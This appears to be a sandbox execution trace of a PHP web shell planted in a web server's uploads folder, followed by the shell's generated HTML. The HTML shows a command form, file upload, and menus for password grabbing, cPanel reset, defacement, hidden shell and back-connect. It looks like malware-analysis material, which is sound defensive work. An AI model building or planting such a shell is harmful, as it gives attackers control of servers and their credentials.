3	90	0	0.007991	952840	fileperms	0		/var/www/html/uploads/del.php	399	1	'/var/www/html/uploads/data'
3	90	1	0.008003	952880
3	90	R			16895
2		A						/var/www/html/uploads/del.php	399	$perms = 16895
2		A						/var/www/html/uploads/del.php	409	$info = 'd'
2		A						/var/www/html/uploads/del.php	417	$info .= 'r'
2		A						/var/www/html/uploads/del.php	418	$info .= 'w'
2		A						/var/www/html/uploads/del.php	421	$info .= 'x'
2		A						/var/www/html/uploads/del.php	422	$info .= 'r'
2		A						/var/www/html/uploads/del.php	423	$info .= 'w'
2		A						/var/www/html/uploads/del.php	426	$info .= 'x'
2		A						/var/www/html/uploads/del.php	427	$info .= 'r'
2		A						/var/www/html/uploads/del.php	428	$info .= 'w'
2		A						/var/www/html/uploads/del.php	431	$info .= 'x'
2	89	1	0.008127	952880
2	89	R			'drwxrwxrwx'
2	91	0	0.008140	952824	w	1		/var/www/html/uploads/del.php	2364	2	'/var/www/html/uploads/data'	'drwxrwxrwx'
3	92	0	0.008153	952824	is_writable	0		/var/www/html/uploads/del.php	531	1	'/var/www/html/uploads/data'
3	92	1	0.008169	952864
3	92	R			TRUE
2	91	1	0.008182	952888
2	91	R			'<font color=lime>drwxrwxrwx</font>'
2	93	0	0.008199	952784	filetype	0		/var/www/html/uploads/del.php	2311	1	'/var/www/html/uploads/del.php'
2	93	1	0.008214	952856
2	93	R			'file'
1		A						/var/www/html/uploads/del.php	2311	$dtype = 'file'
2	94	0	0.008238	952784	filemtime	0		/var/www/html/uploads/del.php	2312	1	'/var/www/html/uploads/del.php'
2	94	1	0.008252	952824
2	94	R			1676254571
2	95	0	0.008265	952728	date	0		/var/www/html/uploads/del.php	2312	2	'F d Y g:i:s'	1676254571
2	95	1	0.008295	953056
2	95	R			'February 12 2023 9:16:11'
1		A						/var/www/html/uploads/del.php	2312	$dtime = 'February 12 2023 9:16:11'
2	96	0	0.008322	952784	is_dir	0		/var/www/html/uploads/del.php	2313	1	'/var/www/html/uploads/del.php'
2	96	1	0.008333	952824
2	96	R			FALSE
2	97	0	0.008347	952792	filetype	0		/var/www/html/uploads/del.php	2311	1	'/var/www/html/uploads/prepend.php'
2	97	1	0.008362	952872
2	97	R			'file'
1		A						/var/www/html/uploads/del.php	2311	$dtype = 'file'
2	98	0	0.008385	952800	filemtime	0		/var/www/html/uploads/del.php	2312	1	'/var/www/html/uploads/prepend.php'
2	98	1	0.008400	952848
2	98	R			1676254571
2	99	0	0.008413	952744	date	0		/var/www/html/uploads/del.php	2312	2	'F d Y g:i:s'	1676254571
2	99	1	0.008443	953072
2	99	R			'February 12 2023 9:16:11'
1		A						/var/www/html/uploads/del.php	2312	$dtime = 'February 12 2023 9:16:11'
2	100	0	0.008469	952808	is_dir	0		/var/www/html/uploads/del.php	2313	1	'/var/www/html/uploads/prepend.php'
2	100	1	0.008482	952848
2	100	R			FALSE
2	101	0	0.008496	952792	filetype	0		/var/www/html/uploads/del.php	2370	1	'/var/www/html/uploads/.'
2	101	1	0.008511	952848
2	101	R			'dir'
1		A						/var/www/html/uploads/del.php	2370	$ftype = 'dir'
2	102	0	0.008535	952808	filemtime	0		/var/www/html/uploads/del.php	2371	1	'/var/www/html/uploads/.'
2	102	1	0.008549	952832
2	102	R			1676254571
2	103	0	0.008563	952744	date	0		/var/www/html/uploads/del.php	2371	2	'F d Y g:i:s'	1676254571
2	103	1	0.008593	953072
2	103	R			'February 12 2023 9:16:11'
1		A						/var/www/html/uploads/del.php	2371	$ftime = 'February 12 2023 9:16:11'
2	104	0	0.008619	953048	filesize	0		/var/www/html/uploads/del.php	2372	1	'/var/www/html/uploads/.'
2	104	1	0.008632	953088
2	104	R			4096
1		A						/var/www/html/uploads/del.php	2372	$size = 4
2	105	0	0.008655	953000	round	0		/var/www/html/uploads/del.php	2373	2	4	3
2	105	1	0.008668	953072
2	105	R			4
1		A						/var/www/html/uploads/del.php	2373	$size = 4
1		A						/var/www/html/uploads/del.php	2377	$size = '4KB'
2	106	0	0.008702	953080	is_file	0		/var/www/html/uploads/del.php	2379	1	'/var/www/html/uploads/.'
2	106	1	0.008715	953120
2	106	R			FALSE
2	107	0	0.008728	953088	filetype	0		/var/www/html/uploads/del.php	2370	1	'/var/www/html/uploads/..'
2	107	1	0.008742	953168
2	107	R			'dir'
1		A						/var/www/html/uploads/del.php	2370	$ftype = 'dir'
2	108	0	0.008766	953096	filemtime	0		/var/www/html/uploads/del.php	2371	1	'/var/www/html/uploads/..'
2	108	1	0.008780	953144
2	108	R			1676254571
2	109	0	0.008793	953048	date	0		/var/www/html/uploads/del.php	2371	2	'F d Y g:i:s'	1676254571
2	109	1	0.008823	953376
2	109	R			'February 12 2023 9:16:11'
1		A						/var/www/html/uploads/del.php	2371	$ftime = 'February 12 2023 9:16:11'
2	110	0	0.008849	953104	filesize	0		/var/www/html/uploads/del.php	2372	1	'/var/www/html/uploads/..'
2	110	1	0.008861	953144
2	110	R			4096
1		A						/var/www/html/uploads/del.php	2372	$size = 4
2	111	0	0.008888	953016	round	0		/var/www/html/uploads/del.php	2373	2	4	3
2	111	1	0.008900	953088
2	111	R			4
1		A						/var/www/html/uploads/del.php	2373	$size = 4
1		A						/var/www/html/uploads/del.php	2377	$size = '4KB'
2	112	0	0.008934	953104	is_file	0		/var/www/html/uploads/del.php	2379	1	'/var/www/html/uploads/..'
2	112	1	0.008946	953144
2	112	R			FALSE
2	113	0	0.008960	953104	filetype	0		/var/www/html/uploads/del.php	2370	1	'/var/www/html/uploads/.htaccess'
2	113	1	0.008975	953176
2	113	R			'file'
1		A						/var/www/html/uploads/del.php	2370	$ftype = 'file'
2	114	0	0.008998	953104	filemtime	0		/var/www/html/uploads/del.php	2371	1	'/var/www/html/uploads/.htaccess'
2	114	1	0.009012	953144
2	114	R			1676254571
2	115	0	0.009025	953048	date	0		/var/www/html/uploads/del.php	2371	2	'F d Y g:i:s'	1676254571
2	115	1	0.009056	953376
2	115	R			'February 12 2023 9:16:11'
1		A						/var/www/html/uploads/del.php	2371	$ftime = 'February 12 2023 9:16:11'
2	116	0	0.009082	953104	filesize	0		/var/www/html/uploads/del.php	2372	1	'/var/www/html/uploads/.htaccess'
2	116	1	0.009095	953144
2	116	R			64
1		A						/var/www/html/uploads/del.php	2372	$size = 0.0625
2	117	0	0.009118	953016	round	0		/var/www/html/uploads/del.php	2373	2	0.0625	3
2	117	1	0.009131	953088
2	117	R			0.063
1		A						/var/www/html/uploads/del.php	2373	$size = 0.063
1		A						/var/www/html/uploads/del.php	2377	$size = '0.063KB'
2	118	0	0.009166	953104	is_file	0		/var/www/html/uploads/del.php	2379	1	'/var/www/html/uploads/.htaccess'
2	118	1	0.009179	953144
2	118	R			TRUE
2	119	0	0.009192	953048	clearspace	1		/var/www/html/uploads/del.php	2388	1	'.htaccess'
3	120	0	0.009204	953048	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'.htaccess'
3	120	1	0.009218	953144
3	120	R			'.htaccess'
2	119	1	0.009231	953048
2	119	R			'.htaccess'
2	121	0	0.009246	954328	clearspace	1		/var/www/html/uploads/del.php	2390	1	'.htaccess'
3	122	0	0.009258	954328	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'.htaccess'
3	122	1	0.009271	954424
3	122	R			'.htaccess'
2	121	1	0.009285	954328
2	121	R			'.htaccess'
2	123	0	0.009298	954840	clearspace	1		/var/www/html/uploads/del.php	2394	1	'.htaccess'
3	124	0	0.009310	954840	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'.htaccess'
3	124	1	0.009323	954936
3	124	R			'.htaccess'
2	123	1	0.009336	954840
2	123	R			'.htaccess'
2	125	0	0.009349	954840	clearspace	1		/var/www/html/uploads/del.php	2394	1	'.htaccess'
3	126	0	0.009361	954840	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'.htaccess'
3	126	1	0.009374	954936
3	126	R			'.htaccess'
2	125	1	0.009388	954840
2	125	R			'.htaccess'
2	127	0	0.009485	953160	permissions	1		/var/www/html/uploads/del.php	2402	1	'/var/www/html/uploads/.htaccess'
3	128	0	0.009499	953160	fileperms	0		/var/www/html/uploads/del.php	399	1	'/var/www/html/uploads/.htaccess'
3	128	1	0.009512	953200
3	128	R			33188
2		A						/var/www/html/uploads/del.php	399	$perms = 33188
2		A						/var/www/html/uploads/del.php	405	$info = '-'
2		A						/var/www/html/uploads/del.php	417	$info .= 'r'
2		A						/var/www/html/uploads/del.php	418	$info .= 'w'
2		A						/var/www/html/uploads/del.php	421	$info .= '-'
2		A						/var/www/html/uploads/del.php	422	$info .= 'r'
2		A						/var/www/html/uploads/del.php	423	$info .= '-'
2		A						/var/www/html/uploads/del.php	426	$info .= '-'
2		A						/var/www/html/uploads/del.php	427	$info .= 'r'
2		A						/var/www/html/uploads/del.php	428	$info .= '-'
2		A						/var/www/html/uploads/del.php	431	$info .= '-'
2	127	1	0.009631	953200
2	127	R			'-rw-r--r--'
2	129	0	0.009645	953144	w	1		/var/www/html/uploads/del.php	2402	2	'/var/www/html/uploads/.htaccess'	'-rw-r--r--'
3	130	0	0.009658	953144	is_writable	0		/var/www/html/uploads/del.php	531	1	'/var/www/html/uploads/.htaccess'
3	130	1	0.009674	953184
3	130	R			FALSE
2	129	1	0.009689	953208
2	129	R			'<font color=red>-rw-r--r--</font>'
2	131	0	0.009705	953272	clearspace	1		/var/www/html/uploads/del.php	2404	1	'.htaccess'
3	132	0	0.009721	953272	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'.htaccess'
3	132	1	0.009735	953368
3	132	R			'.htaccess'
2	131	1	0.009749	953272
2	131	R			'.htaccess'
2	133	0	0.009762	953272	clearspace	1		/var/www/html/uploads/del.php	2404	1	'.htaccess'
3	134	0	0.009774	953272	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'.htaccess'
3	134	1	0.009788	953368
3	134	R			'.htaccess'
2	133	1	0.009801	953272
2	133	R			'.htaccess'
2	135	0	0.009815	953104	filetype	0		/var/www/html/uploads/del.php	2370	1	'/var/www/html/uploads/data'
2	135	1	0.009830	953176
2	135	R			'dir'
1		A						/var/www/html/uploads/del.php	2370	$ftype = 'dir'
2	136	0	0.009855	953104	filemtime	0		/var/www/html/uploads/del.php	2371	1	'/var/www/html/uploads/data'
2	136	1	0.009869	953144
2	136	R			1676254571
2	137	0	0.009882	953048	date	0		/var/www/html/uploads/del.php	2371	2	'F d Y g:i:s'	1676254571
2	137	1	0.009913	953376
2	137	R			'February 12 2023 9:16:11'
1		A						/var/www/html/uploads/del.php	2371	$ftime = 'February 12 2023 9:16:11'
2	138	0	0.009939	953104	filesize	0		/var/www/html/uploads/del.php	2372	1	'/var/www/html/uploads/data'
2	138	1	0.009951	953144
2	138	R			4096
1		A						/var/www/html/uploads/del.php	2372	$size = 4
2	139	0	0.009974	953016	round	0		/var/www/html/uploads/del.php	2373	2	4	3
2	139	1	0.009987	953088
2	139	R			4
1		A						/var/www/html/uploads/del.php	2373	$size = 4
1		A						/var/www/html/uploads/del.php	2377	$size = '4KB'
2	140	0	0.010020	953104	is_file	0		/var/www/html/uploads/del.php	2379	1	'/var/www/html/uploads/data'
2	140	1	0.010033	953144
2	140	R			FALSE
2	141	0	0.010047	953104	filetype	0		/var/www/html/uploads/del.php	2370	1	'/var/www/html/uploads/del.php'
2	141	1	0.010061	953176
2	141	R			'file'
1		A						/var/www/html/uploads/del.php	2370	$ftype = 'file'
2	142	0	0.010085	953104	filemtime	0		/var/www/html/uploads/del.php	2371	1	'/var/www/html/uploads/del.php'
2	142	1	0.010099	953144
2	142	R			1676254571
2	143	0	0.010112	953048	date	0		/var/www/html/uploads/del.php	2371	2	'F d Y g:i:s'	1676254571
2	143	1	0.010142	953376
2	143	R			'February 12 2023 9:16:11'
1		A						/var/www/html/uploads/del.php	2371	$ftime = 'February 12 2023 9:16:11'
2	144	0	0.010168	953104	filesize	0		/var/www/html/uploads/del.php	2372	1	'/var/www/html/uploads/del.php'
2	144	1	0.010180	953144
2	144	R			120745
1		A						/var/www/html/uploads/del.php	2372	$size = 117.9150390625
2	145	0	0.010205	953016	round	0		/var/www/html/uploads/del.php	2373	2	117.9150390625	3
2	145	1	0.010217	953088
2	145	R			117.915
1		A						/var/www/html/uploads/del.php	2373	$size = 117.915
1		A						/var/www/html/uploads/del.php	2377	$size = '117.915KB'
2	146	0	0.010252	953112	is_file	0		/var/www/html/uploads/del.php	2379	1	'/var/www/html/uploads/del.php'
2	146	1	0.010264	953152
2	146	R			TRUE
2	147	0	0.010277	953056	clearspace	1		/var/www/html/uploads/del.php	2388	1	'del.php'
3	148	0	0.010290	953056	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'del.php'
3	148	1	0.010311	953152
3	148	R			'del.php'
2	147	1	0.010326	953056
2	147	R			'del.php'
2	149	0	0.010339	954336	clearspace	1		/var/www/html/uploads/del.php	2390	1	'del.php'
3	150	0	0.010352	954336	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'del.php'
3	150	1	0.010366	954432
3	150	R			'del.php'
2	149	1	0.010379	954336
2	149	R			'del.php'
2	151	0	0.010392	954848	clearspace	1		/var/www/html/uploads/del.php	2394	1	'del.php'
3	152	0	0.010405	954848	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'del.php'
3	152	1	0.010418	954944
3	152	R			'del.php'
2	151	1	0.010431	954848
2	151	R			'del.php'
2	153	0	0.010444	954848	clearspace	1		/var/www/html/uploads/del.php	2394	1	'del.php'
3	154	0	0.010456	954848	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'del.php'
3	154	1	0.010487	954944
3	154	R			'del.php'
2	153	1	0.010500	954848
2	153	R			'del.php'
2	155	0	0.010522	953168	permissions	1		/var/www/html/uploads/del.php	2402	1	'/var/www/html/uploads/del.php'
3	156	0	0.010540	953168	fileperms	0		/var/www/html/uploads/del.php	399	1	'/var/www/html/uploads/del.php'
3	156	1	0.010553	953208
3	156	R			33204
2		A						/var/www/html/uploads/del.php	399	$perms = 33204
2		A						/var/www/html/uploads/del.php	405	$info = '-'
2		A						/var/www/html/uploads/del.php	417	$info .= 'r'
2		A						/var/www/html/uploads/del.php	418	$info .= 'w'
2		A						/var/www/html/uploads/del.php	421	$info .= '-'
2		A						/var/www/html/uploads/del.php	422	$info .= 'r'
2		A						/var/www/html/uploads/del.php	423	$info .= 'w'
2		A						/var/www/html/uploads/del.php	426	$info .= '-'
2		A						/var/www/html/uploads/del.php	427	$info .= 'r'
2		A						/var/www/html/uploads/del.php	428	$info .= '-'
2		A						/var/www/html/uploads/del.php	431	$info .= '-'
2	155	1	0.010673	953208
2	155	R			'-rw-rw-r--'
2	157	0	0.010687	953152	w	1		/var/www/html/uploads/del.php	2402	2	'/var/www/html/uploads/del.php'	'-rw-rw-r--'
3	158	0	0.010700	953152	is_writable	0		/var/www/html/uploads/del.php	531	1	'/var/www/html/uploads/del.php'
3	158	1	0.010717	953192
3	158	R			FALSE
2	157	1	0.010731	953216
2	157	R			'<font color=red>-rw-rw-r--</font>'
2	159	0	0.010748	953248	clearspace	1		/var/www/html/uploads/del.php	2404	1	'del.php'
3	160	0	0.010761	953248	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'del.php'
3	160	1	0.010775	953344
3	160	R			'del.php'
2	159	1	0.010788	953248
2	159	R			'del.php'
2	161	0	0.010802	953280	clearspace	1		/var/www/html/uploads/del.php	2404	1	'del.php'
3	162	0	0.010814	953280	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'del.php'
3	162	1	0.010827	953376
3	162	R			'del.php'
2	161	1	0.010841	953280
2	161	R			'del.php'
2	163	0	0.010855	953120	filetype	0		/var/www/html/uploads/del.php	2370	1	'/var/www/html/uploads/prepend.php'
2	163	1	0.010871	953200
2	163	R			'file'
1		A						/var/www/html/uploads/del.php	2370	$ftype = 'file'
2	164	0	0.010895	953128	filemtime	0		/var/www/html/uploads/del.php	2371	1	'/var/www/html/uploads/prepend.php'
2	164	1	0.010909	953176
2	164	R			1676254571
2	165	0	0.010923	953072	date	0		/var/www/html/uploads/del.php	2371	2	'F d Y g:i:s'	1676254571
2	165	1	0.010954	953400
2	165	R			'February 12 2023 9:16:11'
1		A						/var/www/html/uploads/del.php	2371	$ftime = 'February 12 2023 9:16:11'
2	166	0	0.010980	953136	filesize	0		/var/www/html/uploads/del.php	2372	1	'/var/www/html/uploads/prepend.php'
2	166	1	0.010993	953176
2	166	R			57
1		A						/var/www/html/uploads/del.php	2372	$size = 0.0556640625
2	167	0	0.011017	953032	round	0		/var/www/html/uploads/del.php	2373	2	0.0556640625	3
2	167	1	0.011030	953104
2	167	R			0.056
1		A						/var/www/html/uploads/del.php	2373	$size = 0.056
1		A						/var/www/html/uploads/del.php	2377	$size = '0.056KB'
2	168	0	0.011065	953128	is_file	0		/var/www/html/uploads/del.php	2379	1	'/var/www/html/uploads/prepend.php'
2	168	1	0.011078	953168
2	168	R			TRUE
2	169	0	0.011091	953064	clearspace	1		/var/www/html/uploads/del.php	2388	1	'prepend.php'
3	170	0	0.011104	953064	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'prepend.php'
3	170	1	0.011118	953160
3	170	R			'prepend.php'
2	169	1	0.011132	953064
2	169	R			'prepend.php'
2	171	0	0.011146	954344	clearspace	1		/var/www/html/uploads/del.php	2390	1	'prepend.php'
3	172	0	0.011158	954344	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'prepend.php'
3	172	1	0.011172	954440
3	172	R			'prepend.php'
2	171	1	0.011186	954344
2	171	R			'prepend.php'
2	173	0	0.011200	954856	clearspace	1		/var/www/html/uploads/del.php	2394	1	'prepend.php'
3	174	0	0.011212	954856	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'prepend.php'
3	174	1	0.011226	954952
3	174	R			'prepend.php'
2	173	1	0.011239	954856
2	173	R			'prepend.php'
2	175	0	0.011252	954856	clearspace	1		/var/www/html/uploads/del.php	2394	1	'prepend.php'
3	176	0	0.011264	954856	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'prepend.php'
3	176	1	0.011277	954952
3	176	R			'prepend.php'
2	175	1	0.011290	954856
2	175	R			'prepend.php'
2	177	0	0.011309	953192	permissions	1		/var/www/html/uploads/del.php	2402	1	'/var/www/html/uploads/prepend.php'
3	178	0	0.011322	953192	fileperms	0		/var/www/html/uploads/del.php	399	1	'/var/www/html/uploads/prepend.php'
3	178	1	0.011335	953232
3	178	R			33261
2		A						/var/www/html/uploads/del.php	399	$perms = 33261
2		A						/var/www/html/uploads/del.php	405	$info = '-'
2		A						/var/www/html/uploads/del.php	417	$info .= 'r'
2		A						/var/www/html/uploads/del.php	418	$info .= 'w'
2		A						/var/www/html/uploads/del.php	421	$info .= 'x'
2		A						/var/www/html/uploads/del.php	422	$info .= 'r'
2		A						/var/www/html/uploads/del.php	423	$info .= '-'
2		A						/var/www/html/uploads/del.php	426	$info .= 'x'
2		A						/var/www/html/uploads/del.php	427	$info .= 'r'
2		A						/var/www/html/uploads/del.php	428	$info .= '-'
2		A						/var/www/html/uploads/del.php	431	$info .= 'x'
2	177	1	0.011454	953232
2	177	R			'-rwxr-xr-x'
2	179	0	0.011468	953168	w	1		/var/www/html/uploads/del.php	2402	2	'/var/www/html/uploads/prepend.php'	'-rwxr-xr-x'
3	180	0	0.011482	953168	is_writable	0		/var/www/html/uploads/del.php	531	1	'/var/www/html/uploads/prepend.php'
3	180	1	0.011498	953208
3	180	R			FALSE
2	179	1	0.011512	953232
2	179	R			'<font color=red>-rwxr-xr-x</font>'
2	181	0	0.011529	953288	clearspace	1		/var/www/html/uploads/del.php	2404	1	'prepend.php'
3	182	0	0.011541	953288	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'prepend.php'
3	182	1	0.011555	953384
3	182	R			'prepend.php'
2	181	1	0.011569	953288
2	181	R			'prepend.php'
2	183	0	0.011582	953288	clearspace	1		/var/www/html/uploads/del.php	2404	1	'prepend.php'
3	184	0	0.011594	953288	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'prepend.php'
3	184	1	0.011608	953384
3	184	R			'prepend.php'
2	183	1	0.011621	953288
2	183	R			'prepend.php'
2	185	0	0.011635	953064	ob_flush	0		/var/www/html/uploads/del.php	2419	0
2	185	1	0.011648	953064
2	185	R			TRUE
1	3	1	0.011667	953064
			0.011745	462984
TRACE END   [2023-02-13 00:16:37.644989]


Generated HTML code

<html><head><style stype="text/css">
		@import url(https://fonts.googleapis.com/css?family=Abel|Baumans);
		body {
			background: #101010;
			color: #f2f2f2;
			font-family: Abel;
			font-size: 12px;
		}

		body a {
			color: #3467BA;
			text-decoration: none;
		}

		body a:hover {
			text-decoration: underline;
		}

		#main_content {
			border: 1px solid #5C7296;
			overflow: hidden;
			width: 1000px;
			height: auto;
			padding: 15px;
			margin: 0 auto;
			background: #0A0A0A;
			border-radius: 6px;
			-moz-border-radius: 6px;
			-webkit-border-radius: 6px;
		}

		.enabled {
			color: #7ACC29;
		}

		.enabled a {
			color: #7ACC29;
			font-weight: normal;
		}

		.disabled {
			color: #CC0000;
		}

		.TableHeader_Name {
			width: 400px;
			padding: 0px 0px 0px 5px;
			height: 25px;
			font-family: Abel;
			background-color: #282828;
			border-top-left-radius: 4px;
			-moz-border-top-left-radius: 4px;
			-webkit-border-top-left-radius: 4px;
		}

		.TableHeader {
			width: 100px;
			height: 25px;
			font-family: Abel;
			text-align: center;
			background-color: #282828;
		}

		.TableHeaderoptions {
			padding: 0px 0px 0px 15px;
			width: 200px;
			height: 25px;
			font-family: Abel;
			background-color: #282828;
			border-top-right-radius: 4px;
			-moz-border-top-right-radius: 4px;
			-webkit-border-top-right-radius: 4px;
		}

		.TableLast {
			padding: 0px 0px 0px 15px;
			width: 200px;
			height: 25px;
			font-family: Abel;
			background-color: #282828;
			border-top-right-radius: 4px;
			-moz-border-top-right-radius: 4px;
			-webkit-border-top-right-radius: 4px;
		}

		.filesize {
			color: green;
			text-align: center;
		}

		.filenames a {
			font-weight: normal;
			text-decoration: none;
		}

		.filenames a:hover {
			text-decoration: underline;
		}

		.filetr {
			background-color: #080808;
		}

		.filetr:hover {
			background-color: #282828;
		}

		#options {
			font-weight: 200;
			font-family: Abel;
			margin-left: 10px;
			display: block;
		}

		#title {
			font-size: 25px;
			font-family: arial;
			display: block;
			padding: 15px 0px 0px 0px;
		}

		.box {
			padding: 10px;
			background-color: #292929;
			border: 1px solid #3467BA;
			height: auto;
			width: 970;
			border-radius: 6px;
			-moz-border-radius: 6px;
			-webkit-border-radius: 6px;
		}

		.sembunyi {
			display: none;
			padding: 0;
			margin: 0;
		}

		textarea {
			background-color: #010101;
			color: #f2f2f2;
			border: 1px solid #3467BA;
			outline: none;
			font-size: 11px;
			border-radius: 3px;
			-moz-border-radius: 3px;
			-webkit-border-radius: 3px;
			padding: 5px;
			width: 970px;
			height: 400px;
		}

		input[type=text],
		input[type=password],
		input[type=submit],
		input[type=button] {
			background: #010101;
			color: #f2f2f2;
			margin: 0 4px;
			border: 1px solid #3467BA;
			outline: none;
			font-size: 11px;
			border-radius: 3px;
			-moz-border-radius: 3px;
			-webkit-border-radius: 3px;
			font-family: Abel;
			font-size: 12px;
		}

		.viewfile {
			background: #EDECEB;
			color: #000000;
			margin: 4px 2px;
			padding: 8px;
			border-radius: 3px;
			-moz-border-radius: 3px;
			-webkit-border-radius: 3px;
			border: 1px solid #3467BA;
		}

		select {
			color: #f2f2f2;
			padding: 0;
			margin: 0;
			border: 1px solid #3467BA;
			outline: none;
			font-size: 11px;
			border-radius: 3px;
			-moz-border-radius: 3px;
			-webkit-border-radius: 3px;
			background: #010101;
			overflow: hidden;
			font-family: Abel;
			font-size: 12px;
		}

		input[type="file"] {
			color: #f2f2f2;
			padding: 0;
			margin: 0;
			border: 1px solid #3467BA;
			outline: none;
			font-size: 11px;
			border-radius: 3px;
			-moz-border-radius: 3px;
			-webkit-border-radius: 3px;
			background: #010101;
			overflow: hidden;
			font-family: Abel;
			font-size: 12px;
		}

		.ndelik {
			display: none;
			padding: 0;
			margin: 0;
		}

		form,
		table {
			/*display: inline;*/
			margin: 0px;
			padding: 0px;
		}
	</style>

	<script type="text/javascript">
		function tukar(lama, baru) {
			document.getElementById(lama).style.display = 'none';
			document.getElementById(baru).style.display = 'block';
		}
	</script>

	<link href="http://vignette2.wikia.nocookie.net/regularshow/images/f/fc/Emoticones_-_Pacman.png/revision/latest?cb=20160107170905&amp;path-prefix=es" rel="icon" type="image/x-icon">

	<title>0x Shell</title>
	</head><body>
	<div id="main_content"><span id="title"><font face="Baumans">0x Shell</font> </span><i>The Next JanCox Shell</i><br><br><div class="box">

<table cellspacing="0" cellpadding="0">
<colgroup>
<col style="width: 499px">
<col style="width: 599px">
</colgroup>
  <tbody><tr>
    <td nowrap="">Server Name:Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</td>
<td align="right"><form><div class="select-style">
<select onchange="if (this.value) window.open(this.value);">
   <option selected="selected" value=""> Tools Creator </option>
   <option value="http://localhost/del.php?create=wso">WSO 2.8.1</option>
</select>
<select onchange="if (this.value) window.open(this.value);">
   <option selected="selected" value=""> Tools Carder </option>
   <option value="http://localhost/del.php?create=maildump">Email Dumper</option>
   </select></div>
<noscript><input type="submit" value="Submit"></noscript>
</form></td>
  </tr>
  <tr>
    <td>User :<font color="lime">www-data</font> (33) Group : <font color="lime">www-data</font> (33) Owner : (<font color="red">error</font>) UserOwner : (<font color="red">error</font>)</td>
    <td align="right">
    </td>
    </tr>
    <tr>
    <td>Server IP :<font color="lime">127.0.0.1</font>  <span class="enabled"><a href="https://www.bing.com/search?q=IP:127.0.0.1" target="_blank">[BING]</a></span> <span class="enabled"><a href="https://centralops.net/co/domaindossier.aspx?addr=127.0.0.1&amp;dom_whois=true&amp;dom_dns=true&amp;traceroute=true&amp;net_whois=true&amp;svc_scan=true" target="_blank">[Dossier]</a></span> | Port : <font color="lime">80</font> | Your IP: <font color="lime">::1</font></td>
	<td align="right">
  </td>
  </tr>
  <tr>
    <td>Server Type : unknown | Website :<font color="lime"> ?? </font> Domains</td>
  </tr>
  <tr>
    <td>Safe Mode: <font color="lime">OFF</font></td>
  </tr>
  <tr>
    <td>Disable Functions:<input type="text" name="searchterm" size="30" style="background-color: rgb(41, 41, 41);border: 1px solid rgb(41, 41, 41);height: 12px;color: red;width: 385px;" value="pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals," readonly=""></td>
  </tr>
  <tr>
    <td>Server Software: Apache/2.4.52 (Ubuntu) <span class="enabled"><a href="http://www.exploit-db.com/search/?action=search&amp;filter_page=1&amp;filter_description=Apache/2.4.52 (Ubuntu)&amp;filter_exploit_text=&amp;filter_author=&amp;filter_platform=0&amp;filter_type=0&amp;filter_lang_id=0&amp;filter_port=&amp;filter_osvdb=&amp;filter_cve=" target="_blank">[Exploit DB]</a></span>
	</td>
  </tr>
  <tr>
    <td>Directory : <a href="?dir="></a>/<a href="?dir=/var">var</a>/<a href="?dir=/var/www">www</a>/<a href="?dir=/var/www/html">html</a>/</td>
	<td align="right"><form method="post" enctype="multipart/form-data"><input type="file" name="0xfile"><input type="submit" value="upload" name="upload"></form></td>
  </tr>
  <tr>
    <td><form method="post" action="?dir=/var/www/html&amp;do=cmd" style="float: left;">
    Command :
    <input type="text" size="30" height="10" name="cmd"><input type="submit" name="do_cmd" value=">>">
    </form><p></p>
	</td>
	<td align="right"></td>
  </tr>
</tbody></table></div><a href="?">Home</a> / <a href="?dir=/var/www/html&amp;do=config">Config</a> / <a href="?dir=/var/www/html&amp;do=jump">Jump</a> / <a href="?dir=/var/www/html&amp;do=symlink">Sym</a> / <a href="?dir=/var/www/html&amp;do=cpanel">Cpanel</a> / <a href="?dir=/var/www/html&amp;do=symlink">Sym</a> / <a href="?dir=/var/www/html&amp;do=mass_deface">Mass</a> / <a href="?dir=/var/www/html&amp;do=mirror">Mirror</a> / <a href="?dir=/var/www/html&amp;do=cgi">Cgi</a> / <a href="?dir=/var/www/html&amp;do=bc">BC</a> / <a href="?dir=/var/www/html&amp;do=about">About</a> / <a href="?dir=/var/www/html&amp;do=serverinfo">Server Info</a> / <a href="?do=deleteme">Self Remove</a> / <a href="?dir=/var/www/html&amp;do=ndelikne">Hidden Shell</a> / <a href="?dir=/var/www/html&amp;do=crp">Config ResPass</a> / <a href="?dir=/var/www/html&amp;do=grabpass">Config PassGrab</a> / <a href="?dir=/var/www/html&amp;do=hek">Deface</a> / <a href="?dir=/var/www/html&amp;do=cpres">Cpanel Reset</a> / <hr><table cellspacing="0" cellpadding="0"><tbody><tr><td class="TableHeader_Name"> FileName</td><td class="TableHeader">Filetype</td><td class="TableHeader">Size</td><td class="TableHeader">Permisions</td><td class="TableLast">Last Modified</td><td class="TableHeaderoptions"> Options</td></tr><tr class="filetr"><td class="td_home"><a id="._link" href="?dir=/var/www/html"><img 